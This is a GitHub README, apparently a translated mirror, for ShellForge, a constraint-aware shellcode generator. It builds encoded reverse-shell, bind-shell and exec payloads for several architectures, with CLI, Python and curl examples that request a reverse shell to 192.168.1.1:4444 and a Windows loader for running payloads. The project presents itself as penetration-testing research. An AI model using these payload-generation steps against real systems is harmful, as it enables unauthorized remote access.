userIssa/shellforge

GitHub: userIssa/shellforge

ShellForge 是一款约束感知的 shellcode 综合引擎,在指令组装阶段即考虑坏字符、大小和编码约束,支持多种架构生成位置无关 payload,在干净输出率和体积上优于传统模板式工具。

Stars: 0 | Forks: 0

# ShellForge ![许可证](https://img.shields.io/badge/license-MIT-blue) ![语言](https://img.shields.io/badge/language-C99%20%7C%20Python-orange) ![架构](https://img.shields.io/badge/arch-x86--64%20%7C%20x86--32%20%7C%20ARM%20%7C%20MIPS-green) ![测试](https://img.shields.io/badge/tests-99%2F99-brightgreen) [![Medium](https://img.shields.io/badge/Medium-InfoSec_Write--ups-black?logo=medium)](https://infosecwriteups.com/shellforge-building-a-constraint-aware-shellcode-generator-from-scratch-f57eaea15c78) ## 什么是 ShellForge? 大多数 shellcode 工具通过维护一个预编写模板库并在事后应用编码包装器来工作。ShellForge 将约束视为**综合过程的输入**——引擎从一开始就选择并组装满足所有约束的指令,而不是先生成然后再尝试修复。 结果是一个能更快生成更小、更简洁 payload 的工具——并且能够满足基于模板的工具完全无法处理的约束配置文件。 ## 基准测试 在 10 个约束配置文件下与 pwntools 4.15 进行了对比测试: | 指标 | ShellForge | pwntools | |---|---|---| | 成功率 | 8/10 | 8/10 | | 干净输出率 | **8/10** | 7/10 | | 平均 payload 大小 | **40B** | 56B | | 平均综合时间 | **0.1ms** | 1300ms | **主要发现:** 在存在坏字符 `\x00\x0a\x0d\x20\x2f` 的情况下,pwntools 生成了包含禁用字节的 payload。而 ShellForge 生成了经过验证且完全干净的 49 字节 XOR 编码 payload。 ## 功能特性 - **4 种目标架构** — x86-64, x86-32, ARM Thumb, MIPS BE - **2 种操作系统** — Linux(所有架构), Windows x86-64 - **4 种 payload 目标** — execve shell, 反向 shell, 绑定 shell, 任意写入 - **2 种编码方案** — XOR 和 ADD/SUB,带有独立的、无 REX 前缀的解码器存根 - **约束求解器** — 坏字符, 无 NULL 字符, 无换行符, 大小预算 - **Flask REST API** — `/synthesize`, `/annotate`, `/arches`, `/health` - **GPT-4o-mini 注释** — 通俗易懂的英文 shellcode 解释 - **HTML 仪表板** — 无需 Node.js,无需构建步骤 - **Windows PEB walker** — 基于 ROR13 哈希的 API 解析,已在 Win10 x64 上进行执行验证 ## 架构 ``` HTML Dashboard (dashboard.html) │ HTTP Flask REST API (python/api/app.py) │ ctypes Python Bridge (python/engine/shellforge_bridge.py) │ direct call C Core (core/build/libshellforge.so) ├── shellforge.c constraint model, dispatcher, x86-64, encoders ├── arch_profiles.c syscall tables per arch ├── arch_x86_32.c x86-32 Linux synthesiser ├── arch_arm.c ARM Thumb Linux synthesiser ├── arch_mips.c MIPS BE Linux synthesiser └── arch_win64.c Windows x86-64 PEB walk synthesiser ``` ## 快速开始 ### 1. 构建 C 核心 ``` git clone https://github.com/userIssa/genhears cd shellforge/core bash build.sh ``` 需要:`gcc`。无需 cmake。 ### 2. 安装 Python 依赖 ``` pip install flask flask-cors openai ``` ### 3. 启动 API ``` cd shellforge OPENAI_API_KEY=your_key python python/api/app.py ``` ### 4. 打开仪表板 在浏览器中打开 `frontend/dashboard.html`。绿色的圆点表示 API 连接成功。 ## CLI 用法 ``` ./core/build/sf_cli ./core/build/sf_cli --null-free ./core/build/sf_cli --bad-chars 00,0a,0d ./core/build/sf_cli --arch arm --size 64 ``` ## Python API ``` from python.engine.shellforge_bridge import ShellForge, Constraints, Arch, OS, Goal sf = ShellForge() c = Constraints( arch=Arch.X86_64, os=OS.LINUX, goal=Goal.REVERSE_SHELL, null_free=True, goal_args=["192.168.1.1:4444"], ) r = sf.synthesize(c) print(r.hex_escaped()) print(f"{r.payload_len} bytes, encoding={r.encoding_used.name}") ``` ## REST API ``` # 合成 curl -X POST http://127.0.0.1:5000/synthesize \ -H "Content-Type: application/json" \ -d '{"arch":"x86_64","goal":"reverse_shell","goal_args":["192.168.1.1:4444"],"null_free":true}' # 注解 curl -X POST http://127.0.0.1:5000/annotate \ -H "Content-Type: application/json" \ -d '{"disasm":"xor rsi,rsi\n...","arch":"x86_64","goal":"exec_shell","encoding_used":"NONE"}' ``` ## 支持的目标 | 架构 | 操作系统 | exec | revshell | bindshell | arb_write | |---|---|---|---|---|---| | x86-64 | Linux | ✅ | ✅ | ✅ | ✅ | | x86-64 | Windows | ✅ | 🔜 | 🔜 | ✅ | | x86-32 | Linux | ✅ | ✅ | ✅ | ✅ | | ARM Thumb | Linux | ✅ | ✅ | ✅ | ✅ | | MIPS BE | Linux | ✅ | ✅ | ✅ | ✅ | ## 基准测试 ``` python tools/benchmark.py --no-msf python tools/benchmark.py --json results.json ``` ## Windows 测试 ``` # 在 Kali 上 sudo apt install mingw-w64 python tools/gen_windows_payload.py --compile # 传输 shellforge_loader.exe + payload.bin 到 Win VM ``` ``` shellforge_loader.exe --file payload.bin ``` ## 运行测试 ``` cd core && bash build.sh && cd .. python tests/python/test_phase1.py # 13 tests python tests/python/test_phase2.py # 19 tests python tests/python/test_phase3.py # 19 tests python tests/python/test_phase4.py # 18 tests python tests/python/test_phase5.py # 13 tests ``` ## 项目结构 ``` shellforge/ ├── core/ │ ├── include/shellforge.h │ ├── src/ │ └── build.sh ├── python/ │ ├── engine/shellforge_bridge.py │ └── api/app.py ├── frontend/dashboard.html ├── tests/python/ ├── tools/ │ ├── benchmark.py │ ├── gen_windows_payload.py │ └── shellforge_loader.c └── docs/medium_article.md ``` ## 免责声明 仅供**安全研究、CTF 练习和授权渗透测试使用**。请仅针对您拥有或获得明确书面许可进行测试的系统使用。 ## 作者 **Toluwanimi Oderinde** — 网络安全工程师, CEH [linkedin.com/in/toluwanimi-oderinde](https://linkedin.com/in/toluwanimi-oderinde) *作为 MSc 级别的渗透测试研究项目构建。* **阅读完整文章:** [ShellForge:从零开始构建一个约束感知的 Shellcode 生成器](https://infosecwriteups.com/shellforge-building-a-constraint-aware-shellcode-generator-from-scratch-f57eaea15c78) — InfoSec Write-ups
标签:C99, DAST, DLL 劫持, DNS 反向解析, Exploit开发, Flask REST API, GPT-4o-mini, LLM, MIPS, Payload生成, Python, Shellcode, Shellcode生成器, Unmanaged PE, x86, x86-64, XML 请求, 二进制安全, 云资产清单, 位置无关代码, 信息安全和SEO词, 多模态安全, 大语言模型, 安全开发, 安全测试, 客户端加密, 快速连接, 恶意软件分析, 技术调研, 攻击性安全, 无后门, 汇编, 汇编语言, 混淆, 约束求解, 编码器, 网络安全, 网络测绘, 自动化安全工具, 逆向工具, 逆向工程, 隐私保护